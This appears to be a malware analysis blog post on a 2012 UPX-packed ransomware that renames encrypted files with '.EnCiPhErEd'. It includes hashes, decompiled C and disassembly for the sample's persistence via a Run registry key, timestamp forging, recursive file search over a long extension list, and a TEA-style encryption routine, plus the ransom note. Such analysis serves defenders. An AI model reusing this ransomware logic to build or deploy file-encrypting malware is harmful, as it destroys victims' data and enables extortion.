UPX Packing

The malware is a program compressed with UPX. We will simply decompress it using the UPX program.

dupx

And malware is a simple PE32 file from 2012 :)

dupx

  • MD5: 8c244ebd49a18b4bfc0cf546ee42ee9f
  • SHA-1: 653f4a37d6f66d6c2fc8551c1b31429db299c257
  • SHA-256: 9ac20a04dc317e557f7d67a9cba24fea43b242654d83219dd73e0f0bdef2ff16
  • Vhash: 014046551d5d60a013z10025hz204001gz
  • Authentihash: 394052c0bb3b50de83e394a7584c6ca22abb59ab43423f3ab1ebde2fac644190
  • Imphash: 0ee5d9cb6f5676c02853dce193d35794
  • SSDEEP: 192:e/TrG62a6B10k3g4fXk1iTV3HGc7EkpAqEjvu2q9C/YpXnAITZfPtRMCy00T:eebFNw4Pk1itKkpAjjI2YpdmCy
  • TLSH: T1C842290FFDE044E6E712C7F213172606CB7D7561A2A067266FAC2C15147A6E3EE6860F
  • File type: Win32 EXE
  • Magic: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
  • TrID:
    • Win32 Executable MS Visual C++ (generic) (47.2%)
    • Win64 Executable (generic) (15.9%)
    • Win32 Dynamic Link Library (generic) (9.9%)
    • Win16 NE executable (generic) (7.6%)
    • Win32 Executable (generic) (6.8%)
  • File size: 12.00 KB (12288 bytes)

Analyze

Heap Process

 hHeap = GetProcessHeap();
 sub_401F87();

BOOL sub_401F87()
{
  HRSRC ResourceA; // eax
  DWORD v1; // eax
  HGLOBAL Resource; // eax
  SIZE_T *v3; // eax
  SIZE_T *v4; // edi
  SIZE_T v5; // ebx
  SIZE_T *v6; // edi
  LPVOID v7; // eax
  SIZE_T *v8; // edi
  SIZE_T v9; // ebx
  SIZE_T *v10; // edi
  const CHAR *v11; // eax
  SIZE_T *v12; // edi
  SIZE_T v13; // ebx
  SIZE_T *v14; // edi
  const CHAR *v15; // eax
  SIZE_T v16; // edi
  HRSRC hResInfo; // [esp+4h] [ebp-10h]
  DWORD v19; // [esp+8h] [ebp-Ch]
  HGLOBAL hResData; // [esp+Ch] [ebp-8h]

  ResourceA = FindResourceA(0, (LPCSTR)0xE, (LPCSTR)2);
  if ( !ResourceA )
    goto LABEL_9;
  hResInfo = ResourceA;
  v1 = SizeofResource(0, ResourceA);
  if ( !v1 )
    goto LABEL_9;
  v19 = v1;
  Resource = LoadResource(0, hResInfo);
  if ( !Resource )
    goto LABEL_9;
  hResData = Resource;
  v3 = (SIZE_T *)LockResource(Resource);
  if ( !v3 )
    goto LABEL_9;
  v4 = v3;
  RtlMoveMemory(&dword_406DB9, v3, 16);
  v4 += 4;
  sub_40211B(v4, v19 - 16);
  v5 = *v4;
  v6 = v4 + 1;
  v7 = HeapAlloc(hHeap, 8u, v5);
  if ( !v7 )
    goto LABEL_9;
  dword_407519 = (int)v7;
  RtlMoveMemory(v7, v6, v5);
  v8 = (SIZE_T *)((char *)v6 + v5);
  v9 = *v8;
  v10 = v8 + 1;
  v11 = (const CHAR *)HeapAlloc(hHeap, 8u, v9);
  if ( !v11
    || (lpText = v11,
        RtlMoveMemory(v11, v10, v9),
        v12 = (SIZE_T *)((char *)v10 + v9),
        v13 = *v12,
        v14 = v12 + 1,
        (v15 = (const CHAR *)HeapAlloc(hHeap, 8u, v13)) == 0) )
  {
LABEL_9:
    JUMPOUT(0x402330);
  }
  lpSubKey = v15;
  RtlMoveMemory(v15, v14, v13);
  v16 = (SIZE_T)v14 + v13;
  RtlMoveMemory(&unk_406DC9, v16, 16);
  v16 += 16;
  RtlMoveMemory(&byte_407529, v16, 5);
  v16 += 5;
  RtlMoveMemory(byte_406DD9, v16, 16);
  v16 += 16;
  RtlMoveMemory(byte_406DE9, v16, 16);
  v16 += 16;
  RtlMoveMemory(&dword_407525, v16, 4);
  v16 += 4;
  RtlMoveMemory(&dword_4065A5, v16, 4);
  v16 += 4;
  RtlMoveMemory(&lDistanceToMove, v16, 4);
  RtlMoveMemory(&nNumberOfBytesToRead, v16 + 4, 4);
  return FreeResource(hResData);
}

This code is a Windows function that extracts and manipulates data from a resource embedded in the executable file. The extracted data is then copied to various memory locations for further processing.

Setup process

BOOL sub_402472()
{
  HANDLE hFile; // [esp+0h] [ebp-4h]

  GetWindowsDirectoryA(byte_40755E, 0x200u);
  PathAddBackslashA(byte_40755E);
  lstrcatA(byte_40755E, aExplorerExe);
  hFile = CreateFileA(byte_40755E, 0x80000000, 1u, 0, 3u, 0, 0);
  GetFileTime(hFile, &CreationTime, &LastAccessTime, &LastWriteTime);
  return CloseHandle(hFile);
}

The malware will retrieve the creation/modification date information of explorer.exe located in the Windows directory. It will attempt to copy itself into the Temporary folder under the name QLUm8OR6vUIE1wP.exe. If successful, it will then transfer the same creation/modification date information retrieved earlier into its copy.

copy-temp

It will add a registry key to start itself upon each startup.

push myfile-ok.405950                   ; "C:\\Users\\Admin\\AppData\\Local\\Temp\\QLUm8OR6vUIE1wP.exe"
push myfile-ok.4043D4                   ; "Alcmeter"
push myfile-ok.4043A6                   ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
push 80000002                           ; 
call myfile-ok.402422                   ;

push ebp
mov ebp,esp
add esp,FFFFFFF8
lea eax,dword ptr ss:[ebp-4]
push eax
lea eax,dword ptr ss:[ebp-8]
push eax
push 0
push 2001F
push 0
push myfile-ok.404379
push 0
push dword ptr ss:[ebp+C]
push dword ptr ss:[ebp+8]
call <JMP.&RegCreateKeyExA>
push dword ptr ss:[ebp+14]
call <JMP.&lstrlen>
push eax
push dword ptr ss:[ebp+14]
push 1
push 0
push dword ptr ss:[ebp+10]
push dword ptr ss:[ebp-8]
call <JMP.&RegSetValueExA>
push dword ptr ss:[ebp-8]
call <JMP.&RegCloseKey>

File infection

The malware will search all logical drives from Z:\ to A:\

LogicalDrives = GetLogicalDrives(); // Retrieve the list of available logical drives

v3 = 25; // Initialize v3 to 25 (corresponding to letter 'Z' in ASCII)
do {
    // Check if the bit corresponding to the current drive letter is set
    if ((LogicalDrives & (1 << v3)) != 0) {
        BYTE1(dword_40444F) = v3 + 65; // Convert the drive index to ASCII drive letter (A-Z)
        *(int *)((char *)&dword_40444F + 2) = 774528058; // An unknown operation with a constant value
        byte_404455 = 42; // Assign a value to byte_404455
        byte_404456 = 0; // Assign a value to byte_404456
        v7 = LogicalDrives; // Save the value of LogicalDrives
        sub_4013A8(v3); // Call a function sub_4013A8 with v3 as argument
        v3 = v6; // Update v3 with the value returned by sub_4013A8
        LogicalDrives = v7; // Restore the value of LogicalDrives
    }
} while (--v3 >= 0); // Loop until v3 reaches 0

The function sub_4013A8 will be the one responsible for file search.

The general scheme looks like this:

search-process

It will search for files with the extension :

filext

Extension Extension Extension Extension Extension Extension Extension Extension
.zip .rar .7z .tar .gzip .jpg .jpeg .psd
.cdr .dwg .max .bmp .gif .png .doc .docx
.xls .xlsx .ppt .pptx .txt .pdf .djvu .vu
.htm .html .mdb .cer .p12 .pfx .kwm .pwm
.1cd .md .mdf .dbf .odt .vob .ifo .lnk
.torrent .mov .m2v .3gp .mpeg .mpg .flv .avi
.mp4 .wmv .divx .mkv .mp3 .wav .flac .ape
.wma .ac3            

When he goes to find a file, here are the steps for searching for files:

char *sub_4013A8()
{
  char *result; // Result pointer
  LPSTR FileNameA; // Pointer to file name
  int v2; // Temporary variable
  int v3; // Counter variable
  const CHAR *v4; // Pointer to a constant string
  BOOL matched; // Boolean flag for matching
  char *v6; // Temporary pointer
  CHAR v7; // Temporary character
  int v8; // Counter variable
  int *v9; // Pointer to an integer
  int *v10; // Pointer to an integer
  char v11; // Temporary character
  char v12; // Temporary character
  int v13; // Temporary integer variable
  int v14; // Temporary integer variable
  char FindFileData[322]; // Buffer for file data

  // Call FindFirstFileA to find the first file in the directory
  result = (char *)FindFirstFileA((LPCSTR)&dword_40444F + 1, (LPWIN32_FIND_DATAA)FindFileData) + 1;

  // If a file is found
  if (result)
  {
    *(_DWORD *)&FindFileData[318] = result - 1; // Store the result pointer in FindFileData

    // Loop until all files are processed
    while (1)
    {
      // If the file is a directory
      if ((FindFileData[0] & 0x10) != 0)
      {
        // Check if the file name matches certain strings
        if (lstrcmpA(asc_404032, &FindFileData[44]) &&
            lstrcmpA(asc_404034, &FindFileData[44]))
        {
          // Extract the file name and concatenate it to the path
          FileNameA = PathFindFileNameA((LPCSTR)&dword_40444F + 1);
          v13 = FileNameA - ((char *)&dword_40444F + 1);
          *FileNameA = 0;
          lstrcatA((LPSTR)&dword_40444F + 1, &FindFileData[44]);

          // Call sub_4013A8 recursively
          v2 = lstrlenA((LPCSTR)&dword_40444F + 1);
          *(int *)((char *)&dword_40444F + v2 + 1) = 707668572;
          byte_404454[v2] = 0;
          sub_4013A8();
          *(int *)((char *)&dword_40444F + v13) = 707668572;
          byte_404453[v13] = 0;
        }
      }
      else
      {
        sub_401377();

        // Check if the file name matches certain strings
        if (lstrcmpiA(&String2, &FindFileData[44]) &&
            lstrcmpiA(aHowToDecryptFi, &FindFileData[44]) &&
            lstrcmpiA(String1, &FindFileData[44]))
        {
          // Manipulate file paths
          *PathFindFileNameA((LPCSTR)&dword_40444F + 1) = 0;

          // Additional processing based on certain conditions
          if (byte_40752A == 1)
            sub_40103A((LPCSTR)&dword_40444F + 1);
          lstrcatA((LPSTR)&dword_40444F + 1, &FindFileData[44]);
          if (byte_406550 != 1)
          {
            // Additional processing based on certain conditions
            v3 = *(_DWORD *)dword_407519;
            v4 = (const CHAR *)(dword_407519 + 4);
            while (1)
            {
              v14 = v3;
              matched = PathMatchSpecA((LPCSTR)&dword_40444F + 1, v4);
              v4 += lstrlenA(v4) + 1;
              if (matched)
                break;
              v3 = v14 - 1;
              if (v14 == 1)
                goto LABEL_37;
            }
LABEL_19:
            // Additional processing based on certain conditions
            lstrcpyA(ExistingFileName, (LPCSTR)&dword_40444F + 1);
            if (byte_406550)
            {
              if (byte_406550 == 1)
              {
                lstrcpyA(NewFileName, (LPCSTR)&dword_40444F + 1);
                *PathFindExtensionA(NewFileName) = 0;
              }
              else
              {
                lstrcpyA(NewFileName, (LPCSTR)&dword_40444F + 1);
              }
            }
            else
            {
              lstrcpyA(NewFileName, (LPCSTR)&dword_40444F + 1);
              lstrcatA(NewFileName, asc_404032);
              lstrcatA(NewFileName, lpSubKey);
            }

            // Additional file operations
            v6 = (char *)CreateFileA(ExistingFileName, 0xC0000000, 3u, 0, 3u, 0, 0) + 1;
            if (v6)
            {
              hFile = v6 - 1;
              dword_406555 = GetFileSize(v6 - 1, 0);

              // Check if the file size is greater than 8 bytes 
              if (dword_406555 >= 8)
              {
                // Retrieve the creation, last modification, and last access timestamps of the found file.
                GetFileTime(hFile, &stru_40752E, &stru_407536, &stru_40753E);
                SetFilePointer(hFile, lDistanceToMove, 0, 0);
                ReadFile(hFile, (LPVOID)lpBuffer, nNumberOfBytesToRead, &nNumberOfBytesToWrite, 0);
                if (nNumberOfBytesToWrite)
                {
                  // Jus take the name of file                
                  v7 = *PathFindFileNameA(ExistingFileName);    
                  v8 = 16;
                  v9 = &dword_406595;
                  v10 = &dword_406585;
                  do
                  {
                    v11 = *(_BYTE *)v9;
                    v9 = (int *)((char *)v9 + 1);
                    v12 = v7 ^ v11;
                    v7 = __ROL1__(v7, 1);
                    *(_BYTE *)v10 = v12;
                    v10 = (int *)((char *)v10 + 1);
                    --v8;
                  } while (v8);
                  if (byte_40752C)
                  {
                    if (byte_406550)
                      sub_401797();
                    else
                      sub_40177A();
                  }
                  else
                  {
                    sub_401748();
                  }

                  // 
                  SetFilePointer(hFile, lDistanceToMove, 0, 0);
                  WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0);
                }
                SetFileTime(hFile, &stru_40752E, &stru_407536, &stru_40753E);
                CloseHandle(hFile);
                MoveFileA(ExistingFileName, NewFileName);
              }
              else
              {
                CloseHandle(hFile);
              }
            }
LABEL_37:
            ;
          }
          if (!PathMatchSpecA((LPCSTR)&dword_40444F + 1, pszSpec))
            goto LABEL_19;
        }
      }
LABEL_37:
      // Call FindNextFileA to find the next file in the directory
      if (!FindNextFileA(*(HANDLE *)&FindFileData[318], (LPWIN32_FIND_DATAA)FindFileData))
        return (char *)FindClose(*(HANDLE *)&FindFileData[318]);
    }
  }
  return result;
}

In each folder, it will place a file :

message

"Attention! All your files are encrypted! To decrypt your files and gain access, send an SMS with the text XXXX to number YYYY.

You have a set amount of time. After exceeding this amount, all data will irreversibly be lost. Be careful when entering the code!"

Once it finds a file, it will open it and verify that it is more than 8 bytes. If so, it will retrieve the creation/modification timestamp information of the file and then place it at the beginning of the file.

infect-01

Then, it will read the file and perform an encryption operation. Just before that, it will retrieve the filename without the folder path:

path-filename

call <JMP.&PathFindFileNameA>           ; Call the function PathFindFileNameA
mov dl, byte ptr ds:[eax]               ; Load a byte from the memory address pointed to by EAX into DL
mov ecx, 10                             ; Load the decimal value 10 into the ECX register
mov esi, myfile-ok.406595               ; Load the address of the string "myfile-ok.406595" into ESI
mov edi, myfile-ok.406585               ; Load the address of the string "myfile-ok.406585" into EDI
lodsb                                   ; Load a byte into AL from the address pointed to by ESI and increment ESI
xor al, dl                              ; Perform an XOR operation between AL and DL
rol dl, 1                               ; Perform a left rotation of 1 bit on DL
stosb                                   ; Store the content of AL at the address pointed to by EDI and increment EDI
loop myfile-ok.40168E                   ; Repeat the previous instructions as long as CX (loop counter) is not equal to zero

The encryption is done using the following algorithm:

; Partie 1
mov ebx, eax                    ; Copies la valeur de EAX dans EBX
shr ebx, 3                      ; Décale à droite le contenu de EBX de 3 bits
test ebx, ebx                  ; Effectue un test logique entre EBX et lui-même
je myfile-ok.401796            ; Saut conditionnel si EBX est égal à zéro, vers l'adresse 401796
mov esi, dword ptr ds:[406559]  ; Charge la valeur située à l'adresse mémoire 406559 dans ESI
push esi                        ; Empile la valeur de ESI sur la pile
push esi                        ; Empile la valeur de ESI sur la pile
call myfile-ok.4017EC           ; Appelle la fonction située à l'adresse 4017EC
add esi, 8                      ; Ajoute 8 à la valeur de ESI
dec ebx                         ; Décrémente EBX de 1
jne myfile-ok.401789            ; Saut conditionnel si EBX n'est pas égal à zéro, vers l'adresse 401789
ret                             ; Retourne à l'appelant

; Partie 2
push ebp                        ; Sauvegarde la valeur de EBP sur la pile
mov ebp, esp                    ; Initialise EBP avec ESP
push edi                        ; Sauvegarde la valeur de EDI sur la pile
push esi                        ; Sauvegarde la valeur de ESI sur la pile
push ebx                        ; Sauvegarde la valeur de EBX sur la pile
mov esi, dword ptr ss:[ebp+8]   ; Charge la valeur située à l'adresse [EBP + 8] dans ESI
mov eax, dword ptr ds:[esi]     ; Charge la valeur située à l'adresse pointée par ESI dans EAX
mov edx, dword ptr ds:[esi+4]   ; Charge la valeur située à l'adresse pointée par ESI + 4 dans EDX
xor ebx, ebx                    ; Initialise EBX à zéro
bswap eax                       ; Effectue un échange de l'ordre des octets dans EAX
bswap edx                       ; Effectue un échange de l'ordre des octets dans EDX
add ebx, 9E3779B9               ; Ajoute la constante 9E3779B9 à EBX
mov ecx, edx                    ; Copie le contenu de EDX dans ECX
shl ecx, 4                      ; Décale à gauche le contenu de ECX de 4 bits
mov edi, edx                    ; Copie le contenu de EDX dans EDI
lea esi, dword ptr ds:[ebx+edx] ; Calcule l'adresse effective [EBX + EDX] et la place dans ESI
add ecx, dword ptr ds:[406585]  ; Ajoute la valeur située à l'adresse 406585 à ECX
shr edi, 5                      ; Décale à droite le contenu de EDI de 5 bits
xor ecx, esi                    ; Effectue un XOR entre ECX et ESI
add edi, dword ptr ds:[406589]  ; Ajoute la valeur située à l'adresse 406589 à EDI
xor ecx, edi                    ; Effectue un XOR entre ECX et EDI
add eax, ecx                    ; Ajoute ECX à EAX
mov ecx, eax                    ; Copie le contenu de EAX dans ECX
shl ecx, 4                      ; Décale à gauche le contenu de ECX de 4 bits
mov edi, eax                    ; Copie le contenu de EAX dans EDI
lea esi, dword ptr ds:[ebx+eax] ; Calcule l'adresse effective [EBX + EAX] et la place dans ESI
add ecx, dword ptr ds:[40658D]  ; Ajoute la valeur située à l'adresse 40658D à ECX
shr edi, 5                      ; Décale à droite le contenu de EDI de 5 bits
xor ecx, esi                    ; Effectue un XOR entre ECX et ESI
add edi, dword ptr ds:[406591]  ; Ajoute la valeur située à l'adresse 406591 à EDI
xor ecx, edi                    ; Effectue un XOR entre ECX et EDI
add edx, ecx                    ; Ajoute ECX à EDX
add ebx, 9E3779B9               ; Ajoute la constante 9E3779B9 à EBX
mov ecx, edx                    ; Copie le contenu de EDX dans ECX
shl ecx, 4                      ; Décale à gauche le contenu de ECX de 4 bits
mov edi, edx                    ; Copie le contenu de EDX dans EDI
lea esi, dword ptr ds:[ebx+edx] ; Calcule l'adresse effective [EBX + EDX] et la place dans ESI
add ecx, dword ptr ds:[406585]  ; Ajoute la valeur située à l'adresse 406585 à ECX
shr edi, 5                      ; Décale à droite le contenu de EDI de 5 bits
xor ecx, esi                    ; Effectue un XOR entre ECX et ESI
add edi, dword ptr ds:[406589]  ; Ajoute la valeur située à l'adresse 406589 à EDI
xor ecx, edi                    ; Effectue un XOR entre ECX et EDI
add eax, ecx                    ; Ajoute ECX à EAX
mov ecx, 9E3779B9               ; Charge la constante 9E3779B9 dans ECX
imul ecx, dword ptr ds:[4065A5] ; Multiplie ECX par la valeur située à l'adresse 4065A5
cmp ebx, ecx                    ; Compare EBX et ECX
jne myfile-ok.401800            ; Saut conditionnel si EBX n'est pas égal à ECX, vers l'adresse 401800
bswap eax                       ; Effectue un échange de l'ordre des octets dans EAX
bswap edx                       ; Effectue un échange de l'ordre des octets dans EDX
mov esi, dword ptr ss:[ebp+C]    ; Charge la valeur située à l'adresse [EBP + C] dans ESI
mov dword ptr ds:[esi], eax     ; Stocke la valeur de EAX à l'adresse pointée par ESI
mov dword ptr ds:[esi+4], edx   ; Stocke la valeur de EDX à l'adresse pointée par ESI + 4
pop ebx                         ; Restaure la valeur de EBX
pop esi                         ; Restaure la valeur de ESI
pop edi                         ; Restaure la valeur de EDI
leave                           ; Restaure ESP à partir de EBP et EBP à partir de la pile
ret 8                           ; Retourne à l'appelant en déplaçant

Here’s how a file looks like before and after encryption.

before-crypt

after-crypt

The malware then writes to the file at the beginning of the file, restores the creation/modification timestamp information it had recorded before, closes the file, and renames it by adding the .EnCiPhErEd extension.

modif-file

Sponsored by logo any.run


<
Previous Post
Rents Ransomware
>
Next Post
BiBi Wiper